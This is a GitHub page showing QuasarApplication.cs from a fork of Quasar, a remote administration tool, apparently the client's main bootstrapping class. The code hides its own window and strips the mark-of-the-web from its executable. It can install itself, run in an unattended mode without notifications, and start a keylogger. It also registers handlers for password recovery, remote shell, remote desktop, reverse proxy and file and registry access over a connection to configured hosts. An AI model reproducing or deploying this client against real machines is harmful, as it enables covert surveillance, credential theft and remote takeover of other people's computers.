forked from quasar/Quasar
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathQuasarApplication.cs
250 lines (221 loc) · 8.85 KB
/
QuasarApplication.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
using Quasar.Client.Config;
using Quasar.Client.Logging;
using Quasar.Client.Messages;
using Quasar.Client.Networking;
using Quasar.Client.Setup;
using Quasar.Client.User;
using Quasar.Client.Utilities;
using Quasar.Common.DNS;
using Quasar.Common.Helpers;
using Quasar.Common.Messages;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Reflection;
using System.Threading;
using System.Windows.Forms;
namespace Quasar.Client
{
/// <summary>
/// The client application which handles basic bootstrapping of the message processors and background tasks.
/// </summary>
public class QuasarApplication : Form
{
/// <summary>
/// A system-wide mutex that ensures that only one instance runs at a time.
/// </summary>
public SingleInstanceMutex ApplicationMutex;
/// <summary>
/// The client used for the connection to the server.
/// </summary>
private QuasarClient _connectClient;
/// <summary>
/// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
/// </summary>
private readonly List<IMessageProcessor> _messageProcessors;
/// <summary>
/// The background keylogger service used to capture and store keystrokes.
/// </summary>
private KeyloggerService _keyloggerService;
/// <summary>
/// Keeps track of the user activity.
/// </summary>
private ActivityDetection _userActivityDetection;
/// <summary>
/// Determines whether an installation is required depending on the current and target paths.
/// </summary>
private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath;
/// <summary>
/// Notification icon used to show notifications in the taskbar.
/// </summary>
private readonly NotifyIcon _notifyIcon;
/// <summary>
/// Initializes a new instance of the <see cref="QuasarApplication"/> class.
/// </summary>
public QuasarApplication()
{
_messageProcessors = new List<IMessageProcessor>();
_notifyIcon = new NotifyIcon();
}
/// <summary>
/// Starts the application.
/// </summary>
/// <param name="e">An System.EventArgs that contains the event data.</param>
protected override void OnLoad(EventArgs e)
{
Visible = false;
ShowInTaskbar = false;
Run();
base.OnLoad(e);
}
/// <summary>
/// Initializes the notification icon.
/// </summary>
private void InitializeNotifyicon()
{
_notifyIcon.Text = "Quasar Client\nNo connection";
_notifyIcon.Visible = true;
try
{
_notifyIcon.Icon = Icon.ExtractAssociatedIcon(Assembly.GetExecutingAssembly().Location);
}
catch (Exception ex)
{
Debug.WriteLine(ex);
_notifyIcon.Icon = SystemIcons.Application;
}
}
/// <summary>
/// Begins running the application.
/// </summary>
public void Run()
{
// decrypt and verify the settings
if (!Settings.Initialize())
Environment.Exit(1);
ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
// check if process with same mutex is already running on system
if (!ApplicationMutex.CreatedNew)
Environment.Exit(2);
FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
var installer = new ClientInstaller();
if (IsInstallationRequired)
{
// close mutex before installing the client
ApplicationMutex.Dispose();
try
{
installer.Install();
Environment.Exit(3);
}
catch (Exception e)
{
Debug.WriteLine(e);
}
}
else
{
try
{
// (re)apply settings and proceed with connect loop
installer.ApplySettings();
}
catch (Exception e)
{
Debug.WriteLine(e);
}
if (!Settings.UNATTENDEDMODE)
InitializeNotifyicon();
if (Settings.ENABLELOGGER)
{
_keyloggerService = new KeyloggerService();
_keyloggerService.Start();
}
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
_connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
_connectClient.ClientState += ConnectClientOnClientState;
InitializeMessageProcessors(_connectClient);
_userActivityDetection = new ActivityDetection(_connectClient);
_userActivityDetection.Start();
new Thread(() =>
{
// Start connection loop on new thread and dispose application once client exits.
// This is required to keep the UI thread responsive and run the message loop.
_connectClient.ConnectLoop();
Environment.Exit(0);
}).Start();
}
}
private void ConnectClientOnClientState(Networking.Client s, bool connected)
{
if (connected)
_notifyIcon.Text = "Quasar Client\nConnection established";
else
_notifyIcon.Text = "Quasar Client\nNo connection";
}
/// <summary>
/// Adds all message processors to <see cref="_messageProcessors"/> and registers them in the <see cref="MessageHandler"/>.
/// </summary>
/// <param name="client">The client which handles the connection.</param>
/// <remarks>Always initialize from UI thread.</remarks>
private void InitializeMessageProcessors(QuasarClient client)
{
_messageProcessors.Add(new ClientServicesHandler(this, client));
_messageProcessors.Add(new FileManagerHandler(client));
_messageProcessors.Add(new KeyloggerHandler());
_messageProcessors.Add(new MessageBoxHandler());
_messageProcessors.Add(new PasswordRecoveryHandler());
_messageProcessors.Add(new RegistryHandler());
_messageProcessors.Add(new RemoteDesktopHandler());
_messageProcessors.Add(new RemoteShellHandler(client));
_messageProcessors.Add(new ReverseProxyHandler(client));
_messageProcessors.Add(new ShutdownHandler());
_messageProcessors.Add(new StartupManagerHandler());
_messageProcessors.Add(new SystemInformationHandler());
_messageProcessors.Add(new TaskManagerHandler(client));
_messageProcessors.Add(new TcpConnectionsHandler());
_messageProcessors.Add(new WebsiteVisitorHandler());
foreach (var msgProc in _messageProcessors)
{
MessageHandler.Register(msgProc);
if (msgProc is NotificationMessageProcessor notifyMsgProc)
notifyMsgProc.ProgressChanged += ShowNotification;
}
}
/// <summary>
/// Disposes all message processors of <see cref="_messageProcessors"/> and unregisters them from the <see cref="MessageHandler"/>.
/// </summary>
private void CleanupMessageProcessors()
{
foreach (var msgProc in _messageProcessors)
{
MessageHandler.Unregister(msgProc);
if (msgProc is NotificationMessageProcessor notifyMsgProc)
notifyMsgProc.ProgressChanged -= ShowNotification;
if (msgProc is IDisposable disposableMsgProc)
disposableMsgProc.Dispose();
}
}
private void ShowNotification(object sender, string value)
{
if (Settings.UNATTENDEDMODE)
return;
_notifyIcon.ShowBalloonTip(4000, "Quasar Client", value, ToolTipIcon.Info);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
CleanupMessageProcessors();
_keyloggerService?.Dispose();
_userActivityDetection?.Dispose();
ApplicationMutex?.Dispose();
_connectClient?.Dispose();
_notifyIcon.Visible = false;
_notifyIcon.Dispose();
}
base.Dispose(disposing);
}
}
}